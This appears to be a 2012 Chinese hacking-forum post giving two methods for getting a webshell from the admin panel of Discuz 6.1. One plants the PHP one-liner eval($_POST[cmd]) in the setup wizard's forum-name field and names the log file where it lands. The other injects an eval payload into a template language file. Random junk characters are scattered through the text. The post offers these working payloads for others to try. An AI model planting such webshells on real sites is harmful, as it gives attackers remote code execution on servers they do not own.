discuz6.1两种方法后台拿shell
' N4 {+ v% j7 N0 R5 J) d好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
9 n& N- N2 ^; p* V4 a: Z2 p" L+ ?1:
) P! M X0 f" u* p. F4 bhttp://127.0.0.1/discuz/admincp. ... zard&frames=yes
2 s9 _! j7 l! m7 [6 Fadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
) F3 I w" p s# z9 ^$ {7 e<?php eval($_POST[cmd]);?>
7 p* T. [: h5 X6 c7 P后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php) E f0 c5 }0 @+ I) p# Y8 p; I
7 v5 B5 N" U2 u
* |: m3 @- I2 E5 H% w2:后台模板管理--默认模板套系--详情& v9 P: w* F5 n6 H6 L
templates/default/actions.lang.php+ O' ?0 \+ }/ W. e2 f
jhackj\\');eval($_POST[cmd])?>;//
8 c" N& {, Z% R% h# Y+ a6 i: z$ O) v3 k: M" [* V
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对